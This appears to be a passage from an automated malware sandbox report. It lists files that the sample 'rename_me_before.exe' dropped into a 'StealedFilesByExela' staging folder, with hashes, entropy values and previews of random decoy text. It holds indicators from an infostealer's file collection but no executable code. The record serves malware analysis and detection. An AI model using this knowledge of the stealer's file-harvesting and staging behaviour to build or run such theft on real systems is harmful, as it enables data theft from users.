Preview:	VLZDGUKUTZXKWULZBWDOTEIBVHVGPZOMETVGLHEKQQVYNUMUAOLBNSHZYTRKXENILISUHDAEEZWZEUNNMWJTKJJOLHKIGJBIHEMLZPVHEUDLHUZCSBUYGAPQSLHCFWHXEYFYTFGZTQNGXBIUAIOYCCCESLXKQMZDVXCDPKMYSWUFQOOGYCQASGJXLVOEKXBOBXDUKGAWAMSEHSFOUBZESSHGPVUWBSAXMDDSNTFJRIJVCYNCFLCMAYHAQBOVOYCQICAPOEIAOZZDHRFCBPBIJRAALGUMCZXSSRKWWTLWRCAGMBKLQATMELORFDRFOPMXYZUWVDECUBFKJYGAVNPIZHJACVPSNOSYGMZANGHNGZCHMGRVBLZWYXERUYHSGKNYMBIUOUVRRQZNFUEYVDSYNZOGCQQJBPAGGARUGCQGPSYMVKYFEATFTUASPFCLAYVPLRCXWCNIABDDVKSFBVZOWZJRZCFQZOXEFZYNRBPBMSHMJFACGUVZUTNGJUEWYWGPCEUFNJTHREUEIHDYXUSJMKBAJVWGYJBJZIRJSRNLDQEVFZAKVMKFJSIHDAKHIEZERYMCSJLFMAKTAGUIBEYUESOJBCXDNFVMNZJABIUVYPQJTWFYBZJPMWLOIHNHFGQHJMNWDFCATRHJYRIXKFJEEOLVSFDPTZNPUFUNEEOLRHVCPOPPOMEZBYTGJKKWUQRHCTFVKQBJAPTOLZADSWVPJYRGRDUWSTNCXLPQDMPVWSSFEHFWHSYNGNHOYZMFADSOTZRZJWXBGUPDZLPMKTZHVIXOFUFHPBTLFRGMMRKOTCWSSRSSXZJNZJGFXMQMXYXKQOFUEAKEJMGPTQUQWYKCZWFGOGJXTRBDEBXQWSDHUFBWIRPNOOENTWWFRIBLZBMAFTMZPLFLLVKTGMUXNKLRFNYLEFNKJWPWNLANWBRDASFRDJUPHVZRHEFBINQCKMOVMQOLDBWPTMYMMFRCLWITZRVFLDSOIFRMJCCQXYLT

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Downloads\VLZDGUKUTZ.jpg

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.701757898321461
Encrypted:	false
SSDEEP:	24:JTbqccbbEKOWHOHPG9HXJMTwDwW63KkUdx/d:JTbmzOxeRaTaq3KBL/d
MD5:	520219000D5681B63804A2D138617B27
SHA1:	2C7827C354FD7A58FB662266B7E3008AFB42C567
SHA-256:	C072675E83E91FC0F8D89A2AEC6E3BC1DB53ADF7601864DDC27B1866A8AEEF4D
SHA-512:	C558140907F6C78EB74EE0F053B0505A8BB72692B378F25B518FA417D97CCB2D0A8341691BECAA96ADCE757007D6DC2938995D983AAC65024123BB63715EBD7C
Malicious:	false
Preview:	VLZDGUKUTZXKWULZBWDOTEIBVHVGPZOMETVGLHEKQQVYNUMUAOLBNSHZYTRKXENILISUHDAEEZWZEUNNMWJTKJJOLHKIGJBIHEMLZPVHEUDLHUZCSBUYGAPQSLHCFWHXEYFYTFGZTQNGXBIUAIOYCCCESLXKQMZDVXCDPKMYSWUFQOOGYCQASGJXLVOEKXBOBXDUKGAWAMSEHSFOUBZESSHGPVUWBSAXMDDSNTFJRIJVCYNCFLCMAYHAQBOVOYCQICAPOEIAOZZDHRFCBPBIJRAALGUMCZXSSRKWWTLWRCAGMBKLQATMELORFDRFOPMXYZUWVDECUBFKJYGAVNPIZHJACVPSNOSYGMZANGHNGZCHMGRVBLZWYXERUYHSGKNYMBIUOUVRRQZNFUEYVDSYNZOGCQQJBPAGGARUGCQGPSYMVKYFEATFTUASPFCLAYVPLRCXWCNIABDDVKSFBVZOWZJRZCFQZOXEFZYNRBPBMSHMJFACGUVZUTNGJUEWYWGPCEUFNJTHREUEIHDYXUSJMKBAJVWGYJBJZIRJSRNLDQEVFZAKVMKFJSIHDAKHIEZERYMCSJLFMAKTAGUIBEYUESOJBCXDNFVMNZJABIUVYPQJTWFYBZJPMWLOIHNHFGQHJMNWDFCATRHJYRIXKFJEEOLVSFDPTZNPUFUNEEOLRHVCPOPPOMEZBYTGJKKWUQRHCTFVKQBJAPTOLZADSWVPJYRGRDUWSTNCXLPQDMPVWSSFEHFWHSYNGNHOYZMFADSOTZRZJWXBGUPDZLPMKTZHVIXOFUFHPBTLFRGMMRKOTCWSSRSSXZJNZJGFXMQMXYXKQOFUEAKEJMGPTQUQWYKCZWFGOGJXTRBDEBXQWSDHUFBWIRPNOOENTWWFRIBLZBMAFTMZPLFLLVKTGMUXNKLRFNYLEFNKJWPWNLANWBRDASFRDJUPHVZRHEFBINQCKMOVMQOLDBWPTMYMMFRCLWITZRVFLDSOIFRMJCCQXYLT

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Downloads\WKXEWIOTXI.png

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.697336881644685
Encrypted:	false
SSDEEP:	24:DVE9Jf1tiezZxapTBz4fmlhQHdwc6WS/ZCGxruwyJM:Deu8xafWWKHj6Zx
MD5:	08AF516B9E451DB9845289801A21F1BC
SHA1:	D43E58D334ACFAE831AD929003D89DC6D3B499F9
SHA-256:	C459EA8FCABD26C75606F78F91AA8446698D90422EE4869ABE4ABCCB50B45379
SHA-512:	C8C2BB634740DBDDC5928E5FD3960011BB86842B72673FDCE2D65C86AE6D5945F0C88E81AE96DEA711CC654FAC8B4EC809DF18F57BFB4129503DE37E426CF055
Malicious:	false
Preview:	WKXEWIOTXIKPVKMTOJVZKCCJOJQJVVBUCRVSCWBTZFRFCLMJEFYWDAADXDSWAVKQUKEQVBGBEVVYQQKRCSDIQBFHQPNUHXEGBVBQAZXUXMBFNLNCNTBFAMVYZJITBIGADWSFAFETGWVSLSMWHTRSSUNGFAPUBMTUYBFNDIWUKESLBWQSCOTLFFHGDQBTCYHJBCBOARQTWMUDRIUXIXOCLDIEADCRMXGAMQGVIRNLAGTALJHBZWRNXXRRBLYDOAYCBGEJCTGYVJXPIAIVUAKQQBRSXZKMFBMWWCHMTGNMNRBVSOTUFWOEJRLHHVPMJECGASFUTKIEPJVDDGJBEAOSKQSOAKQFVDMPVFZXVQQGBIVNAKYSEGLMWLAYDYTALUJSLPWCLEJKQBXBYHAKPFMJEIYHGDOFGQSDOCEQICJNJHPIMYZXEEBLQDGZQJHXKMNXDWJCMMFBONBYYWLDOKPYOROQOAOXKLNFZNGOBDFJUKRZTHKLRBINVCYAUIXORJECNOHLVMBHPPCTEWZMHAKKOWVWNWGYCHRMUWRNDXFYYWTIGTCJKQDPGUNHAJQDLUZMXHCGTFUQBMGYHZZQTDVDXANXWNWKFTJJGQDHQOXVXPQVSIEKEEJXYUACENKWKIJBJQXHMLMPZXYAVPNORKZSDXAKFPVLVKXAALPKPLPVFPCSRBEEJDNJCIJXXOCNXCBVGHIYCQQVQHTTNURHGTJJXKJRPJEGOUFOHMMCJGVNMXOAXZBVGWVBLQZNFUTGTNMFHQOEJPQLIMHIWPQHWMJJDCVVMWJEEFQQZJEEECMHCCUANTBJYRWUCSJSOHYMSBWTKOKBZPVNMIVCLDDALCEUFSLAOCOCSAXADDYPCSIANHKQFGMSMYTDVKAOIYTWPDDCRKDNZYGXHYDSDFXTLUDKREZTPVBCYOHCUNIFNCKBSSGTENGDYROMJUTSSFWEEFXLJPBMSINKXZCEUWQMDWGNHDWNFHYTECVIYIAPNGWL

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Downloads\WUTJSCBCFX.png

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.688284131239007
Encrypted:	false
SSDEEP:	24:94BsLCi4I4Bpno3+PqX1T1MziEko3RYNdEK:alI4BjP4x9JGK
MD5:	E8ACCA0F46CBA97FE289855535184C72
SHA1:	059878D0B535AEE9092BF82886FC68DC816D9F08
SHA-256:	CFB1D698291CFF6EFE21CB913EDEB823FA6F84B5F437F61ED9E04C6A80CC4DCD
SHA-512:	185601B848EDE2A752D1DC0534A2593231C67AF68E506DD3BA05D93435780F378250B27898CBD61F225C5FE6AB72CD21638C6159FC2D107767D2AB43547E0E71
Malicious:	false
Preview:	WUTJSCBCFXNSEWGLWGYOOQVVDPFNFUMPQAJVNXNKMXQRORVUIYYNQWAMOZTIZPEADOKEPDLVMNENFIICEKOTBVPODCEHVNDEMTCADGQBTUSRFDCQOFZZQCSIEKBJNREDYYVFOXFLSAVVRDBODQPUEQUZAVGFLXOWSKRTDQOYTNPZUFOPXFJPIZPUZNQGPAVLZQOLZQMEBSIDSSSOCJNYRGTGEHRLTXLSBXCVGBOIDKKEIUHPVJXFIBUKHHHIZJXBNSFVSIBUVDLJVQHLZQNPKVUYGSBYLDPVSZZIAGXVZKTZMOMHKJTCACLNIHVZQOYHZUOCHMTDPXWSWWCTZKVXUPJXTUQVYKVNBTOOXYSOQYGOROUJYIQIBLZXWHWHSDDSIDRAQBFHFUASJJFJZGJMXLKHMELZDCBSAECBJUYDLONQSYTFIGRFXVYQXQGOAYYQXFJQFPARQPKZARUFLFZALPMOXFKFAAFQYQJSBYRLXSYWILKBWNNKNPTXDFHFCBTUEWYUGEMBZMEFHNMBDRELQEYFKIFARDWZODMHWXQBTISSHAEWZTVFJRKELIBQQEXSWFZUGGGKZXSPWOXYPOCCJIHNGOPVFNWYZRPTOWAGQPVVZLHPYYBDQTUFWFIVGYOBQSXERHTUDUHOJIRJFKQQOOIXOHPHYQPYDGSQQNOEUWFVOVYMHEJBARDLGPVSTERBBBFSGVNSUAZCVAXBSTLPAQENSALLVBNGJHCERSSMMHCALJSZJJKDFYFVTEQEUIBYNZPMUJQZNJVUGNGKENCJKNBTKBYOEUUGFFKIBVHNAUHYEUNDBZPKFZERTSXYHOMVAJJBPSNOOYHZFWINWEJCFGHKIORUHARZYNBKYMOWZHDVWQBITESVLGVECBBJDDHUCWOJFWBQJSKRWHJPPGEKBDXIPJJDDYHGUCDCBZQDUVHEBPPQBUDSOAYQTNFMYUBRJNRJFSMUCNFWURFGGIHZFMXDVIINVRGXSRYXBYBI

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Downloads\XZXHAVGRAG.xlsx

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.69156792375111
Encrypted:	false
SSDEEP:	24:wT4Ye6841ff8PdGjcDOa8AtDLSoarbrGxYsrxpuzu:/Ye68AIGjiOaDDc4uzu
MD5:	A4E170A8033E4DAE501B5FD3D8AC2B74
SHA1:	589F92029C10058A7B281AA9F2BBFA8C822B5767
SHA-256:	E3F62A514D12A3F7D0EB2FF2DA31113A72063AE2E96F816E9AD4185FF8B15C91
SHA-512:	FB96A5E674AE29C3AC9FC495E9C75B103AE4477E2CA370235ED8EA831212AC9CB1543CB3C3F61FD00C8B380836FE1CA679F40739D01C5DDE782C7297C31F4F3A
Malicious:	false
Preview:	XZXHAVGRAGWUZPDZUEGAYKLOJAATOVXJVRJCLWZVJFOFPZNHYWDUACWAEZMWROZFSNVNLUZTIGQHRPFNIXZWAQNKEFFVMFVJEYHESHQWKICFNAONPPGGSABXPCYNBZITQCMUVOCKUUGGEKLAFNXLBOWPVKEOIBLWWAPOYVIECYONJSQKQQDXGYONJXNAQTSMYDMXZYXYEGULUXOLZALCFDXCFNFKPZDKANUFUXWMRLBIQALSWLXEXAFGLOYIFRMFQEZVUTIKXYTPJYCVKCQFZXEECZIXEIHQZQQYTVHKAQLEKMWMZZULQXNCKIJZACKDTKVLWIVBKFQXXOMIGVNYLPAXZFSMAZJTXJUXMZPVKWUQVNXGFUJUQLXWUJWXXGWFDEHIUZKLUQKWAGSXVVNNFXCYWQGRDZCZRLRYXTMLQRGEHRFDGZJOZZKKYLKBWQOZXHGQWMYFROUTIBGKPARBJPOEDNOQMKUEALEVNBPCUIKVTPAWCUIHGVFJWDYFDWTASWSIDDELYILSJEFAACQCZMSARBUAQIRFFLJJMHBVZYFUUTOLDYGUUVIYGJYNXGWJCYUYVJKCVNACSGWHTSOCDOFFPNNHQEMEAXXRINULLPFMNSQUWWIGEJQABGOQLKIXTZYHHQQTOZYLTNJMMWELZZPDIDHXRBCJGZUDMDGVMAEUIWFYWGIHBTOBLWXIEGHJRIDDBTOXKXOOIAAJUPCJRNMROGCUNSCGQYEEZLWOYIYMJPGKLDXEOGUAUHNUJCEFMGEKRBWDAHWRXWVSFQCURHTSGJQWPJHWEAHXCEQVKJRECGPJBGCDBEGBIRMVXHGYHMWJXIXMQHTKSZFVSATJKNAJOYAJNKDTKZMBHRENBCAYUBASQOTKKVNCTZIOGOUVVDNXYVJFHXTPSZMOWWCPPMBMLCTTPGONDVJOVLCMTWRESLSDGLNGAGTIXVYAJZVBYYHWAMERRRQXMWVCYELNGPYXOGOPHWVXCTQIKXSK

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\ONBQCLYSPU\HTAGVDFUIE.pdf

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.692693183518806
Encrypted:	false
SSDEEP:	24:FrPOQ32qakAnGkyNl2g/fQJnKVOvsyX1aZKx1aHEg:53Sq9/fiK4XQfHEg
MD5:	78F042E25B7FAF970F75DFAA81955268
SHA1:	F7C4C8DDF51B3C5293E0A92F6767D308BBF568B4
SHA-256:	E4C9709AFEA9D9830CED1AA6DF1711D0332A5972688640368DDC32C07C0D5D17
SHA-512:	CE2548833F62C549CA0268BE445E517AC986CA44EA52916A153DFFE4D7FA59B703E5927DFE70836E8B082C246793DF2066D72DB4A6E1C948940E88C524952348
Malicious:	false
Preview:	HTAGVDFUIELGZFCTZZGRSQISCXMOKSCAZEJVAPBPJKABIZKEGFAGMGOIUPHPJOYIWMVIKWCNUOWDMGCFXJQANMMOULIVTQQGUZVVOLZWBYTHYOHMMVIMTTBBCAIGONNRVEUMTCTCEMTWFNDSQPHEPLAFZAKYSROZKRQDUZOUZIKJGJRIBJODHOULJHWQBIJSAIYMXLFOSFOEFKTQPEEWFTFCIFSLHXSXYXBWTPCWMCGPETOSVLNKYCONFWCIUFEQKOWQNQKJSIZKNZXOQWMTJOGWDBUFBKDXUPYYIXUTOPSOVWLVKIOKFPSXDAVMBUZIYYZUQTDLZIMRRGXLTOEJMFWLOMNPNLICPZPKTHPXELGBYTJLOJOEWNRDNMXXRYMAJBWCTNMBREIJDVVIXEHEGYQKZQCGLVHOCMUSKXCQQMURLYKWUIUMFSGYMZUQXCTZOKQYXJAUDEVTSOOQUKZKKEEOANGSIIWTUVEGHTCOTXCDTCZIFUAWDLWKDNQTUAXBCRBKEGHCEPWTXOQVBWKIXLQEUCHHRHMKWOVVBFOLNUHSLLMHOOFDQCOVQVCNKKYOGNPYFHMPHXNPOTANYIGKSXGYDKBAEAYCNSDEQRTDZXKUOIUOHOMJPCCDXHJTXLKPCLAKLUNDAFZVUXKBSBAWUIBEQFANHTKLDXHBVLMBIXZUPHFUIHTECGPPEITWIRPTQHJDDRMAQERQMDOELBOQSEMMMCCUPQVDZXOFFYQSEIDXDPFNKRGYVUDDHHQGPRFUFAJOKTJSGMHWRXPZFPTHUACEOFEZUYOSJGJLFUTHTDWBPUETPFOWWTNVGDPCHGGCYSORPYRNRZVFDIQZLGVXSZLKMPDVKQURMLSZDDXVNBPXKBLQIKBTAWLYTZWTFUNWLSZPWUWBVBXUJMBCFHPMBIRGLQAWDQTJEHKOGMUTEILXROVHXNUORTTYMCMDGNZYCCCTIABCKYPUCGPPUUSBWLIPYZKIMRHFVZCGDPKZ

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\ONBQCLYSPU\KZWFNRXYKI.mp3

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.694982189683734
Encrypted:	false
SSDEEP:	24:MggAXr5945qa/jgwHvsjCIShLGmTSIp/6co4rHg+X:MgJXr5+pjBsUhJTSIGA
MD5:	E49F84B05A175C231342E6B705A24A44
SHA1:	41B4E74B5F82D72435DFF38DD1B8B6026691CB4E
SHA-256:	EE0E867E83FE0206F33F009F216D2986AE3903B6F8944FBE2CC36586E5844626
SHA-512:	84E29127671A2D2539F2E340C3465736F68C5545A256F9C2813B6BF955645A629FD80BCFF7CEC902F07492C1E40C0794C2D3A906DD402BACA5E647BDFA2B88AA
Malicious:	false
Preview:	KZWFNRXYKIQQDFEFEKFUFTLSCHHVHHFJVLINSSPODUWFGYCFXENRRFQZQNVRFJLXTKRPVZFZUDBIVIHPJCTZSMJNOWNCQAPYYHLTMHJJYECMUWUKYXMYBEVYHAFCNHVTPHXQKEQMWLDZKOKDMDUORJRRWKHVJLZNSFERFDAFUHPRYSOCWFZCHPEXICNDGFOZLLLNASUKYIOHUBCGSHVHTAAMQFTBUNSBDIPJOCUDVCBYOUPDCATAMJESONSVVDFARQOQHDTKDRVDWNHMPSWQTCDBOSQIMASLDMFOKOIPUFJNASKNMQOVCYYFVCKNWJBVIBCWMYJGLWMAZWJABPWRYFHPZVZTRFLFKJIVQMYASPFSBODYXKEEFHBTFSHZEWSGAGGMSRRYSACIWVPBTHVGVVYONDRAYVOWBYTTLWWPGWQAJDLYFDALUZCIBUOEBMSCKJILYNBNADCKXDVTLOFEMKULPCSYYTTPBZKLBPMPEQZHPJCMRWISRYUKSYBUOCFXUPORADUTYINWCOLTVNYNBVHTATWIAMJBNCYZTMQLJOZXQMVQWJAGLZBDTPNMMKABCUCOYDSRVMYDKVJFRZRLIKSQNEMHUWIXWIACERSGEBQFEQJLXFLCITYZWKHIASCUIPVHOXQGWHFWSXEHOMVVXNFDEKOTOBBAEPJTBOCEJGWYSJBHWDRPPONMLWEDWWLGQVWLLREHLEZFZNEDNRDQMBTZWCUIFLPBHTTQGIEVFRJKMYLHMYUOCAAUGIRMYSCUPKJDFUJBVKKJHICSXHPXWUGXGPHCKBZLZXDCKURFIMZGIDDJWPBHEERWPLLCNTTKZRNYIMGHNYECXBHHHWCVILLPFPVXYOQODPYIIVKTOODIUKCMBBWHUEFORQUJCVYVBOBKKLPQJMOJEUOFUFAAJRTAZTXJJQPOORSRNCQDMHWVYQIGGCMZGYMXIBAKRNOPIPQWJHZEWBBJTYBESJTCCPYZHONYNVOXCBHCXRST

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\ONBQCLYSPU\LTKMYBSEYZ.jpg

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.687722658485212
Encrypted:	false
SSDEEP:	24:gTVIxDsK0PxMQbXpEHH8+976o9VWmCUGGFT3IIU8wyG33bu3jUn:gZIxDW5lj02otC1G5IIUF/n
MD5:	9A59DF7A478E34FB1DD60514E5C85366
SHA1:	DE10B95426671A161E37E5CE1AD6424AB3C07D98
SHA-256:	582393A08E0952F43A544A991772B088CC77CE584F8844DE6C5246BA36E703D5
SHA-512:	70B4673D358E097AB2B75633A64A19C16E1422C81B6B198D81BF17B7609BFB4ACF5DE36228FF3884C5B9BA0A15E13F56C94968E5136B497C826F3D201A971B00
Malicious:	false
Preview:	LTKMYBSEYZYLWBDLQYQSGHCEKOMUGSMOJLJVFHAICZAEQCNCBEGUYSPUJHNJSDQTVUPUFCNWSVXGWFVWMFIWRQGVLGYUUBXDZXYJMKPAQTJLYUZTWHPYSRLPQBTKDHEWTTWLDXITQQAGNHQLMCYZCGICKEHUUXVCXHMYJQQYOQIXMRPWDNHFRXHXUHBSJQQHJNETRHWEBONEJBHTDQQNCEMAEDULTTSDIGDGEYCFSHOYFMDRTHCJKCFEFLMLVJNHUTISDTYYKQXVYELRXTCPVMTHGMXSDMUSFEPIIFBHCRRCGWXNWEXQGIUUAYBLCIBZGCXXZYYFPOIAUUAZEORINBBTOZEUXMAZYFVDWGLZZHOHNZHSEJYZULRNGAFKDQXEYHMJWAZXCTSLOIDSVWCDDAJVQOZRXWVWCMYQCKXRQMOHVCMJHXERQTMBGRETHKBIQULAPJVABDGMJDULEZZHMATXEUVKGXGGFBUQPNFRZOPVDFONCFHWZHXDJQQLBBLRNEDPABSGIFBWEQTJAGKFRSLLFIXBIADJYQFXLIYTRHHMHAEDZRJJZZSOCKJNBHWWZEZXGEEJOALVQSBDQTYEHCQVMQMBKNHLBFIRUKLCVRFKGJWGONQGFFIPLGGCUDTZOLCUDDOARJHBVHHRZEYWWKNFEXBVKDTVKTGDMSUOSIIJKKXODRUCUDQHPOJRJZICJUGIDYTFJNVOJIFAVDFPGFTUQFDWLLALACJUWFIKJDQRZQVIIULGPKDOEMRGWVXSLFQHDVZJLHRKVFDXZZCYMKQTRZIBEAHUAXZFKIOBFQACDYLWSHXGVQBAYTXLOISPDOUTEJPQXZNCWCWFKRYQGOEIQEKGUMTCROZMZMVLTCMMBZZHLSYRTDCWSSQEKPTOUQZYPJDCZQTZSHURDOLLYIYFPIECQEHEYPDXHDRIYSOEILWHEODCIXNORCUDGORDQCYVQHNTVIZVMIQLRODCUBWDVZCRJJNXNJQMHPXE

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\ONBQCLYSPU\ONBQCLYSPU.docx

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.699434772658264
Encrypted:	false
SSDEEP:	24:Khfv+VFngw6i0t5Ut+l3kHwMDkhBlBAMFPxYaija:pvl6Pt5uQ3kQ0khBl1VxYpu
MD5:	02D3A9BE2018CD12945C5969F383EF4A
SHA1:	085F3165672114B2B8E9F73C629ADABBF99F178D
SHA-256:	6088E17DB4C586F5011BC5E16E8BF2E79C496EB6DAE177FF64D9713D39D500CA
SHA-512:	A126D98EE751D0FB768E4DB7D92CBC6AE7852FEE337B85ED045D871DB321C6C98FD58A244D058CA3F41348216C68CB4A37FA854980BB16D358AA62A932DD867E
Malicious:	false
Preview:	ONBQCLYSPUBDAQCIGYNWXHPENQNLJZGXCHXSNXZNCZBUHYDXPEMCJPAWYQSVHMGKHJUFFFYDAXDAHOLOAZEPTWZTWDGPFLXMMCXLCIIJOXMVRNMUMTICVHQSWNAGIYCQBOZZHONWWBXKDUJYBRPSLNFGTUIFTNGJEATOXKHEFMERAQZVBMQGKZUKXDBMGRJDOOGATZZKQMEZJRWZVAZRPQTVWPETCIMLPMYNWZLVLXRPUUKLNIMTYDNYIJTZEFJDNMWTOFFKRRINCRDCFGJAJNMYQHGXGVHVYPEUFBNUIGUVGBYQKIAJLIVACVIHEGZIYKSROURNGZSCTUKBKFFCGPXAONPDEBIZJRKCFYHATDXLXYKGLWXBCHJERCRNMKESIMBDNPMPBWXSVSEAAUEKEGUIJBZLAESAFZHMBLPPKMNTZAZIIYSHMWJBFTZZSKYNFJYSBRLGVHOWZUQHXUSSJESIEKHZLTLILMSMJZHXFWGJQNWQCDLXEWBZPGBTVDVCPPUFLFGNZRUKJOANJVXVTXLOQLFUIVEWTCBKOBYZMAOTIMQMJYRYLSOLSSACCLCFTVXCKKJDNWQAETNXHIOQCDTXLLVEQLNLGDIOULNFNNDXTVYYSPDWWZHDSYHBRXMUAAHJIGSGLSFKCGADPUAASYZFEZWHYDLQDUCHJXMNMTNCDCMNIJQCSGEQOGVGYBYPMTZBBFOACZMMKVFNELOMGSTCQUDRFKLFGOHOTZKZCWJWDRECGYETFYOWLYECGICMGUKZRVNHUQTLQLHUTPRZXBVYMPAFBLSWKSSKBGWCWBFEEZIAZUZGEYMYBSXYUCHEALFJRSGWQJMABNQHSZANDDTYMVJKXFFFDEENZAGRGVLHFELVOSGTXVOOPFGCQDSFWOYKKOYUHFWMXWPLHFIIPORMEJNOFYMJRBAZLYTIOKEFIWPDZUKMIWKLZXBOESUCXZXQSCMQKDKFBCHJMPMZHELLNSYYEJNBRRXVBMPD

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\ONBQCLYSPU\UMMBDNEQBN.xlsx

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.695685570184741
Encrypted:	false
SSDEEP:	24:SYuCgqv/1uycbC6SHsJPWXpOxTeVtblICcFX4xlyzK7y45wR39IRh:S1CPvsC6YE+XgleVtbQuKGf5M39IRh
MD5:	A28F7445BB3D064C83EB9DBC98091F76
SHA1:	D4E174D2D26333FCB66D3FD84E3D0F67AF41D182
SHA-256:	10A802E683A2C669BB581DE0A192C8291DD2D53D89A2883A59CC29EB14453B93
SHA-512:	42526FEC4220E50DB60BD7D83A07DEB9D5BE4F63AD093B518E9ECC86B779210B0170F6F64C9F16064D50CB12F03643BAC9995D4F3C0AFD5F8D38428D57ADE487
Malicious:	false
Preview:	UMMBDNEQBNVIMBNGHYZCBKXWMQJKYISTANSRNFXXBKALIIEMEWAFQEPTEMZCIXXNMQBGOXWSDYSAWKIYPJITNREMVRXPPJZFUTMGRRRGTCHVLEWVUJGZEUQVONQVACEFWZUCIAFXPFGXIUOOBZEEMGMWJQIEKKICYJJWAFUKYZAJEGUQKGDPRPXCOWIPBRUGHWDFZLGSKZVCHVVPGLEFNGIVLBVNAOVXAPGATADJBIQTBNJGWXRSEYKCSVZOSTCBHYFHUDEWNGEIFCVREPZDZDZRITFEVFCQQWJYZXPUKJWHTWGWASTKDCAVEWZOIGFZHRWCJBVRLDWGVKPABCQUOHQIMLUFUGYGMPGPEMSRPPSGWIGRVPBGZIWLNEVYFFJBCMBSXVABNRNXULCTUAANAXDHKZOGVCNQZHMRBENWTTLQVVMDLNBEWHLPZHMPDGRLJWAQJDJRCWTFWIOLAURRCSMFJOCFDKUGPLTPABARXKPCRXOIHHVRWXAKGHOTYLCEQQYYDKVZQSYLCAEGGBQMMJGSNJWBTJXSVALINNRLURMPNGFXHJRVJIKQJSDLNIOXGIGDFDCOTGGXMDLTDYSIKCMPVINDDXXQCEQCRUBLFEWMYMSEGUHIKIGUYOMOXSKOTVNUNGWUFYKYRNZXOOTSRYXLZHRZXNEDJUNPYGNIIZSPVQBOLBRRRWGDMQWUTRSZWBYMXNMLKLFNZWJVDDPMJOXTVBMYRXNQFGBLURKFIUAHJBFFXNWQDYRLZADYGMETNXEOXLOJKYQPEYHUVTFGXQTGPQBWZQTVFXZFUVQERQZJCYYPFBYONAVFDOLTNRGWQYGSYWCWUWRETJZGVJMEFQTYPOLONVZFREVORMBQJOCLOALCJHHCHQSHKLUNBIRHRBSQSMERLKKFTGHUQKRPFIIELZZVXZVNHCIQYYXNMJNSOZOIRGGJKUWXNCWSNCFMGQIQVNKVIGRCLSDWQPEDLSLTGBRXRTMGFWYQSCLN

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\ONBQCLYSPU\WUTJSCBCFX.png

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.688284131239007
Encrypted:	false
SSDEEP:	24:94BsLCi4I4Bpno3+PqX1T1MziEko3RYNdEK:alI4BjP4x9JGK
MD5:	E8ACCA0F46CBA97FE289855535184C72
SHA1:	059878D0B535AEE9092BF82886FC68DC816D9F08
SHA-256:	CFB1D698291CFF6EFE21CB913EDEB823FA6F84B5F437F61ED9E04C6A80CC4DCD
SHA-512:	185601B848EDE2A752D1DC0534A2593231C67AF68E506DD3BA05D93435780F378250B27898CBD61F225C5FE6AB72CD21638C6159FC2D107767D2AB43547E0E71
Malicious:	false
Preview:	WUTJSCBCFXNSEWGLWGYOOQVVDPFNFUMPQAJVNXNKMXQRORVUIYYNQWAMOZTIZPEADOKEPDLVMNENFIICEKOTBVPODCEHVNDEMTCADGQBTUSRFDCQOFZZQCSIEKBJNREDYYVFOXFLSAVVRDBODQPUEQUZAVGFLXOWSKRTDQOYTNPZUFOPXFJPIZPUZNQGPAVLZQOLZQMEBSIDSSSOCJNYRGTGEHRLTXLSBXCVGBOIDKKEIUHPVJXFIBUKHHHIZJXBNSFVSIBUVDLJVQHLZQNPKVUYGSBYLDPVSZZIAGXVZKTZMOMHKJTCACLNIHVZQOYHZUOCHMTDPXWSWWCTZKVXUPJXTUQVYKVNBTOOXYSOQYGOROUJYIQIBLZXWHWHSDDSIDRAQBFHFUASJJFJZGJMXLKHMELZDCBSAECBJUYDLONQSYTFIGRFXVYQXQGOAYYQXFJQFPARQPKZARUFLFZALPMOXFKFAAFQYQJSBYRLXSYWILKBWNNKNPTXDFHFCBTUEWYUGEMBZMEFHNMBDRELQEYFKIFARDWZODMHWXQBTISSHAEWZTVFJRKELIBQQEXSWFZUGGGKZXSPWOXYPOCCJIHNGOPVFNWYZRPTOWAGQPVVZLHPYYBDQTUFWFIVGYOBQSXERHTUDUHOJIRJFKQQOOIXOHPHYQPYDGSQQNOEUWFVOVYMHEJBARDLGPVSTERBBBFSGVNSUAZCVAXBSTLPAQENSALLVBNGJHCERSSMMHCALJSZJJKDFYFVTEQEUIBYNZPMUJQZNJVUGNGKENCJKNBTKBYOEUUGFFKIBVHNAUHYEUNDBZPKFZERTSXYHOMVAJJBPSNOOYHZFWINWEJCFGHKIORUHARZYNBKYMOWZHDVWQBITESVLGVECBBJDDHUCWOJFWBQJSKRWHJPPGEKBDXIPJJDD